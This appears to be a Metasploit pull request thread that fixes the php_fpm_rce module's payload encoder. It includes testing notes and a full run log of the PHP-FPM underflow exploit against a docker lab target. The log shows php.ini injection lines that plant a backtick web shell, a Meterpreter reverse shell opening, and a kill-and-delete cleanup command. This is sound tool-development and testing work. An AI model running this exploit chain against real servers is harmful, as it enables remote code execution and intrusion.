Use the smaller base64 encoder

[zeroSteiner]

This fixes the php_fpm_rce module which stopped working against the docker target from the original PR (#12863) when #19420 was landed. #19420 added a new encoder that increases the size of the payload more than the older base64 one. Now the php_fpm_rce module can't exactly have a spare requirement because it depends on the target, so in this case it makes more sense to just prefer the older encoder that yields smaller payloads.

Fixes #20310, supersedes #20311.

Testing

• Setup the docker target (see Add PHP-FPM Underflow RCE module #12863, the steps still work)
• Run the exploit and see it work, previously it would fail with a QSL size error

[msutovsky-r7]

msf6 exploit(multi/http/php_fpm_rce) > run verbose=true
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending baseline query...
[*] Base status code is 200
[*] Detecting QSL...
[*] Status code 502 for qsl=1765, adding as a candidate
[+] The target is probably vulnerable. Possible QSLs: [1765]
[*] Extended QSL list: [1755, 1760, 1765]
[*] Doing sanity check...
[*] Detecting attack parameters...
[*] send_params_detection: try #1
[*] Iterating until the PHP option is enabled (session.auto_start=1)...
[*] Attack params found, disabling PHP option (session.auto_start=0)...
[+] Parameters found: QSL=1760, customh_length=13
[+] Target is vulnerable!
[*] Performing attack using php.ini settings...
[*] send_attack_chain: try #1
[*] Sending php.ini setting: short_open_tag=1
[*] Sending php.ini setting: html_errors=0
[*] Sending php.ini setting: include_path=/tmp
[*] Sending php.ini setting: auto_prepend_file=j
[*] Sending php.ini setting: log_errors=1
[*] Sending php.ini setting: error_reporting=2
[*] Sending php.ini setting: error_log=/tmp/j
[*] Sending php.ini setting: extension_dir="<?=`"
[*] Sending php.ini setting: extension="$_GET[W]`?>"
[*] send_attack_chain: try #2
[*] Sending php.ini setting: short_open_tag=1
[*] Sending php.ini setting: html_errors=0
[*] Sending php.ini setting: include_path=/tmp
[*] Sending php.ini setting: auto_prepend_file=j
[*] Sending php.ini setting: log_errors=1
[*] Sending php.ini setting: error_reporting=2
[*] Sending php.ini setting: error_log=/tmp/j
[*] Sending php.ini setting: extension_dir="<?=`"
[*] Sending php.ini setting: extension="$_GET[W]`?>"
[*] send_attack_chain: try #3
[*] Sending php.ini setting: short_open_tag=1
[*] Sending php.ini setting: html_errors=0
[*] Sending php.ini setting: include_path=/tmp
[*] Sending php.ini setting: auto_prepend_file=j
[*] Sending php.ini setting: log_errors=1
[*] Sending php.ini setting: error_reporting=2
[*] Sending php.ini setting: error_log=/tmp/j
[*] Sending php.ini setting: extension_dir="<?=`"
[*] Sending php.ini setting: extension="$_GET[W]`?>"
[*] send_attack_chain: try #4
[*] Sending php.ini setting: short_open_tag=1
[*] Sending php.ini setting: html_errors=0
[*] Sending php.ini setting: include_path=/tmp
[*] Sending php.ini setting: auto_prepend_file=j
[*] Sending php.ini setting: log_errors=1
[*] Sending php.ini setting: error_reporting=2
[*] Sending php.ini setting: error_log=/tmp/j
[*] Sending php.ini setting: extension_dir="<?=`"
[*] Sending php.ini setting: extension="$_GET[W]`?>"
[*] send_attack_chain: try #5
[*] Sending php.ini setting: short_open_tag=1
[*] Sending php.ini setting: html_errors=0
[*] Sending php.ini setting: include_path=/tmp
[*] Sending php.ini setting: auto_prepend_file=j
[*] Sending php.ini setting: log_errors=1
[*] Sending php.ini setting: error_reporting=2
[*] Sending php.ini setting: error_log=/tmp/j
[*] Sending php.ini setting: extension_dir="<?=`"
[*] Sending php.ini setting: extension="$_GET[W]`?>"
[*] send_attack_chain: try #6
[*] Sending php.ini setting: short_open_tag=1
[*] Sending php.ini setting: html_errors=0
[*] Sending php.ini setting: include_path=/tmp
[*] Sending php.ini setting: auto_prepend_file=j
[*] Sending php.ini setting: log_errors=1
[*] Sending php.ini setting: error_reporting=2
[*] Sending php.ini setting: error_log=/tmp/j
[*] Sending php.ini setting: extension_dir="<?=`"
[*] Sending php.ini setting: extension="$_GET[W]`?>"
[+] Success! Was able to execute a command by appending 'which which'
[*] Trying to cleanup /tmp/j...
[*] send_backdoor_cleanup: try #1
[*] send_backdoor_cleanup: try #2
[*] send_backdoor_cleanup: try #3
[*] send_backdoor_cleanup: try #4
[*] send_backdoor_cleanup: try #5
[+] Cleanup done!
[*] Sending payload...
[*] send_payload: try #1
[*] send_payload: try #2
[*] send_payload: try #3
[*] send_payload: try #4
[*] send_payload: try #5
[*] Sending stage (40004 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:51298) at 2025-06-27 17:00:28 +0200

[*] Remove /tmp/j and kill workers...
[*] send_cleanup: try #1
[*] send_cleanup: try #2
[*] send_cleanup: try #3
[*] send_cleanup: try #4
[*] send_cleanup: try #5
[*] send_cleanup: try #6
[*] send_cleanup: try #7
[*] send_cleanup: try #8
[*] send_cleanup: try #9
[*] send_cleanup: try #10
[*] send_cleanup: try #11
[*] send_cleanup: try #12
[*] send_cleanup: try #13
[*] send_cleanup: try #14
[*] send_cleanup: try #15
[*] send_cleanup: try #16
[*] send_cleanup: try #17
[*] send_cleanup: try #18
[*] send_cleanup: try #19
[*] send_cleanup: try #20
[-] Could not cleanup. Run these commands before terminating the session: for p in `pidof php-fpm`; do kill -9 $p;done; rm -f /tmp/j

meterpreter > 
meterpreter > sysinfo 
Computer    : 2dff8bb05736
OS          : Linux 2dff8bb05736 6.12.10-76061203-generic #202412060638~1748542656~22.04~663e4dc SMP PREEMPT_DYNAMIC Thu M x86_64
Meterpreter : php/linux

[msutovsky-r7]

Release Notes

This fixes an issue with the php_fpm_rce module, which stopped working after adding a new encoder that increased the size of payload. This address this issue and substitutes the original encoder for smaller base64 encoder.

[adfoster-r7]

Patched up some of the english in the release notes here 📝